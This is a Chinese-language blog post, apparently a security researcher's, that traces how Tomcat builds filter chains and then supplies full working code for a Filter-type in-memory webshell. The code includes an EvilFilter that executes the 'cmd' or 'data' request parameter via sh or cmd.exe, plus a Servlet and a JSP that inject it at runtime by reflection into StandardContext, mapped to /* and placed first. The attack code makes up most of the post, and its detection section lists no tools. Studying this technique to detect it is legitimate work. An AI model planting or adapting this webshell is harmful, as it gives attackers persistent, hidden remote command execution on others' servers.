Preparation ServletContext Servlet规范中规定了的一个ServletContext接口,其提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。Web容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用,并且它被所有客户端共享。
动态注册filter时需要添加filter相关的函数,而ServletContext恰好可以满足这个条件。javax.servlet.servletContext中存在addFilter、addServlet和addListener方法,即对应实现添加Filter、Servlet和Listener。
获取ServletContext的方法有:
可以看到,获取到的实际上是一个ApplicationContextFacade对象,且该对象是对ApplicationContext实例的封装。
ApplicationContext 对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。
在Tomcat中,org.apache.catalina.core.ApplicationContext中包含一个ServletContext接口的实现,所以需要引入org.apache.catalina.core.ApplicationContext这个库,用它获取上下文StandardContext。
StandardContext Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际上,并不是由StandardContext来进行处理,而是交给内部的valve进行处理。
一个Context表示了一个外部应用,它包含多个Wrapper,每个Wrapper表示一个Servlet定义。(Tomcat默认的Service服务是Catalina)
名称
说明
filterMaps 变量
存放FilterMap的数组,在FilterMap中主要存放了FilterName和对应的URLPattern
filterDefs 变量
存放FilterDef的数组,FilterDef中存储着我们过滤器名,过滤器实例等基本信息
filterConfigs 变量
存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
FilterChain 变量
过滤器链,该对象上的doFilter方法能依次调用链上的Filter
ApplicationFilterChain
调用过滤器链
ApplicationFilterConfig
获取过滤器
ApplicationFilterFactory
组装过滤器链
StandardContext
Context接口的标准实现类,一个Context代表一个Web应用,其下可以包含多个Wrapper
StandardWrapperValve
Wrapper的标准实现类,一个Wrapper代表一个Servlet
Process Analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package servlet;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet(name = "HelloServlet", value = "/HelloServlet") public class HelloServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html" ); PrintWriter writer = response.getWriter(); writer.println("This is HelloServlet Page." ); } @Override protected void doPost (HttpServletRequest request, HttpServletResponse response) { } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package filter;import javax.servlet.*;import javax.servlet.annotation.*;import java.io.IOException;@WebFilter(filterName = "HelloFilter", urlPatterns = "/HelloServlet") public class HelloFilter implements Filter { public void init (FilterConfig config) { System.out.println("Filter init..." ); } public void destroy () { System.out.println("Filter Destroy..." ); } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { System.out.println("Filter Start..." ); chain.doFilter(request, response); } }
在doFilter中下个断点,堆栈信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 doFilter:19 , HelloFilter (filter) internalDoFilter:181 , ApplicationFilterChain (org.apache.catalina.core) doFilter:156 , ApplicationFilterChain (org.apache.catalina.core) invoke:167 , StandardWrapperValve (org.apache.catalina.core) invoke:90 , StandardContextValve (org.apache.catalina.core) invoke:494 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:130 , StandardHostValve (org.apache.catalina.core) invoke:93 , ErrorReportValve (org.apache.catalina.valves) invoke:682 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:74 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:617 , Http11Processor (org.apache.coyote.http11) process:63 , AbstractProcessorLight (org.apache.coyote) process:932 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1695 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
在堆栈信息中可以看到Container容器中四种子容器的调用,StandardEngineValve->StandardHostValve->StandardContextValve->StandardWrapperValve。往前回溯一下,跟进org.apache.catalina.core.StandardWrapperValve#invoke,可以看到其创建了一个FilterChain,接着调用它的doFilter方法。
这里跟进一下org.apache.catalina.core.ApplicationFilterFactory#createFilterChain方法,看看是如何创建filterChain的。首先对传入的ServletRequest对象进行判断,若为Request实例,则进一步从其中获取filterChain,若filterChain不存在,则创建一个并设置到Request对象内。
接着从wrapper中获取StandardContext对象,调用org.apache.catalina.core.StandardContext#findFilterMaps方法获取filterMaps。
当获取到的filterMaps不为空时,对filterMaps进行遍历,调用getFilterName方法来获取filterName,把获取到的filterName传入org.apache.catalina.core.StandardContext#findFilterConfig方法中来获取filterConfig,并将获取到的filterConfig添加进filterChain中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null ) return null ; ApplicationFilterChain filterChain = null ; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain (); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null ) { filterChain = new ApplicationFilterChain (); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain (); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); if ((filterMaps == null ) || (filterMaps.length == 0 )) return (filterChain); DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null ; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null ){ requestPath = attribute.toString(); } String servletName = wrapper.getName(); for (int i = 0 ; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue ; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } for (int i = 0 ; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue ; } if (!matchFiltersServlet(filterMaps[i], servletName)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } return filterChain; }
继续前面的堆栈分析,跟进org.apache.catalina.core.ApplicationFilterChain#doFilter方法,其先检查JVM是否开启安全模式,由于这里为false,因此会进入else语句中调用internalDoFilter方法。
跟进org.apache.catalina.core.ApplicationFilterChain#internalDoFilter方法,先从this,filters数组中依次取出filterConfig对象,接着调用org.apache.catalina.core.ApplicationFilterConfig#getFilter方法获取Filter实例,最后调用其doFilter方法。
上文中分析了创建filterChain时主要依赖于filterMaps,接下来看看如何向filterMaps中添加恶意的filterMap。在org.apache.catalina.core.StandardContext中有两个方法可以向filterMaps中添加filterMap,分别是addFilterMap方法和addFilterMapBefore方法。
跟进org.apache.catalina.core.StandardContext#validateFilterMap方法,该方法会对传入的filterMap进行判断,若this.findFilterDef == null时则会抛出异常,因此在构造时,需要注意构造符合要求的filterDef。
上文中提到的filterMap、filterDef都与filterConfig相关,而org.apache.catalina.core.StandardContext中与filterConfig相关的操作只有filterStart和filterStop方法,因此在应用运行时,只能采用反射的方式来动态修改filterConfigs的值。
Achievement Idea 动态注入Filter内存马的具体思路如下:
调用ApplicationContext的addFilter方法创建filterDefs对象,需要反射修改应用程序的运行状态,加完之后再改回来;
调用StandardContext的filterStart方法生成filterConfigs;
调用ApplicationFilterRegistration的addMappingForUrlPatterns生成filterMaps。
同时,为了兼容某些特殊情况比如Shiro,需要将加入的filter放在filterMaps的第一位,可以自行修改HashMap中的顺序,也可以在调用StandardContext的addFilterMapBefore时直接加在filterMaps的第一位。
Demo 先简单实现一个恶意的Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package filter;import javax.servlet.*;import javax.servlet.annotation.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.util.Scanner;@WebFilter(filterName = "EvilFilter", urlPatterns = "/*") public class EvilFilter implements Filter { public void init (FilterConfig config) throws ServletException { } public void destroy () { } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osProperty = System.getProperty("os.name" ); if (osProperty != null && osProperty.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , req.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , req.getParameter("cmd" )}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("h3rmesk1t" ); String output = scanner.hasNext() ? scanner.next() : "" ; resp.getWriter().write(output); resp.getWriter().flush(); } chain.doFilter(request, response); } }
Dynamic Registration 根据上文的分析,动态注入filter型内存马需要经过以下步骤:
创建恶意filter
用filterDef对filter进行封装
将filterDef添加到filterDefs跟filterConfigs中
创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,因此内存马便可以一直驻留下去,直到Tomcat重启后失效。
Servlet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 package servlet;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.annotation.*;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Map;import java.util.Scanner;@WebServlet(name = "EvilServlet", value = "/EvilServlet") public class EvilServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { super .doGet(request, response); } @Override protected void doPost (HttpServletRequest request, HttpServletResponse response) { try { ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context" ); context1.setAccessible(true ); StandardContext standardContext = (StandardContext) context1.get(applicationContext); String filterName = "h3rmesk1t" ; Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs" ); filterConfigs.setAccessible(true ); Map filterConfigsMap = (Map) filterConfigs.get(standardContext); if (filterConfigsMap.get(filterName) == null ) { Filter filter = new Filter () { @Override public void init (FilterConfig config) { } @Override public void destroy () { } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest httpServletRequest = (HttpServletRequest) request; HttpServletResponse httpServletResponse = (HttpServletResponse) response; if (httpServletRequest.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osType = System.getProperty("os.name" ); if (osType != null && osType.toLowerCase().contains("win" )) { isLinux = false ; } String[] command = isLinux ? new String []{"sh" , "-c" , httpServletRequest.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , httpServletRequest.getParameter("cmd" )}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("h3rmesk1t" ); String output = scanner.hasNext() ? scanner.next() : "" ; httpServletResponse.getWriter().write(output); httpServletResponse.getWriter().flush(); return ; } chain.doFilter(request, response); } }; Class<?> filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef" ); Constructor<?> filterDefDeclaredConstructor = filterDef.getDeclaredConstructor(); filterDefDeclaredConstructor.setAccessible(true ); FilterDef filterDef1 = (FilterDef) filterDefDeclaredConstructor.newInstance(); filterDef1.setFilter(filter); filterDef1.setFilterName(filterName); filterDef1.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef1); Class<?> filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap" ); Constructor<?> filterMapDeclaredConstructor = filterMap.getDeclaredConstructor(); filterMapDeclaredConstructor.setAccessible(true ); FilterMap filterMap1 = (FilterMap) filterMapDeclaredConstructor.newInstance(); filterMap1.addURLPattern("/*" ); filterMap1.setFilterName(filterName); filterMap1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap1); Class<?> applicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig" ); Constructor<?> applicationFilterConfigDeclaredConstructor = applicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class); applicationFilterConfigDeclaredConstructor.setAccessible(true ); ApplicationFilterConfig applicationFilterConfig1 = (ApplicationFilterConfig) applicationFilterConfigDeclaredConstructor.newInstance(standardContext, filterDef1); filterConfigsMap.put(filterName, applicationFilterConfig1); response.getWriter().write("Filter Inject Successfully..." ); } } catch (Exception e) { e.printStackTrace(); } } }
JSP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.util.Map" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context" ); context1.setAccessible(true ); StandardContext standardContext = (StandardContext) context1.get(applicationContext); String filterName = "h3rmesk1t" ; Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs" ); filterConfigs.setAccessible(true ); Map filterConfigsMap = (Map) filterConfigs.get(standardContext); if (filterConfigsMap.get(filterName) == null ) { Filter filter = new Filter () { @Override public void init (FilterConfig config) { } @Override public void destroy () { } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest httpServletRequest = (HttpServletRequest) request; HttpServletResponse httpServletResponse = (HttpServletResponse) response; if (httpServletRequest.getParameter("data" ) != null ) { boolean isLinux = true ; String osType = System.getProperty("os.name" ); if (osType != null && osType.toLowerCase().contains("win" )) { isLinux = false ; } String[] command = isLinux ? new String []{"sh" , "-c" , httpServletRequest.getParameter("data" )} : new String []{"cmd.exe" , "/c" , httpServletRequest.getParameter("data" )}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("h3rmesk1t" ); String output = scanner.hasNext() ? scanner.next() : "" ; httpServletResponse.getWriter().write(output); httpServletResponse.getWriter().flush(); return ; } chain.doFilter(request, response); } }; Class<?> filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef" ); Constructor<?> filterDefDeclaredConstructor = filterDef.getDeclaredConstructor(); filterDefDeclaredConstructor.setAccessible(true ); FilterDef filterDef1 = (FilterDef) filterDefDeclaredConstructor.newInstance(); filterDef1.setFilter(filter); filterDef1.setFilterName(filterName); filterDef1.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef1); Class<?> filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap" ); Constructor<?> filterMapDeclaredConstructor = filterMap.getDeclaredConstructor(); filterMapDeclaredConstructor.setAccessible(true ); FilterMap filterMap1 = (FilterMap) filterMapDeclaredConstructor.newInstance(); filterMap1.addURLPattern("/*" ); filterMap1.setFilterName(filterName); filterMap1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap1); Class<?> applicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig" ); Constructor<?> applicationFilterConfigDeclaredConstructor = applicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class); applicationFilterConfigDeclaredConstructor.setAccessible(true ); ApplicationFilterConfig applicationFilterConfig1 = (ApplicationFilterConfig) applicationFilterConfigDeclaredConstructor.newInstance(standardContext, filterDef1); filterConfigsMap.put(filterName, applicationFilterConfig1); out.println("Filter Inject Successfully..." ); } %>
Check MemoryShell 这里先mark几款工具,后续对内存马查杀进行进一步的学习: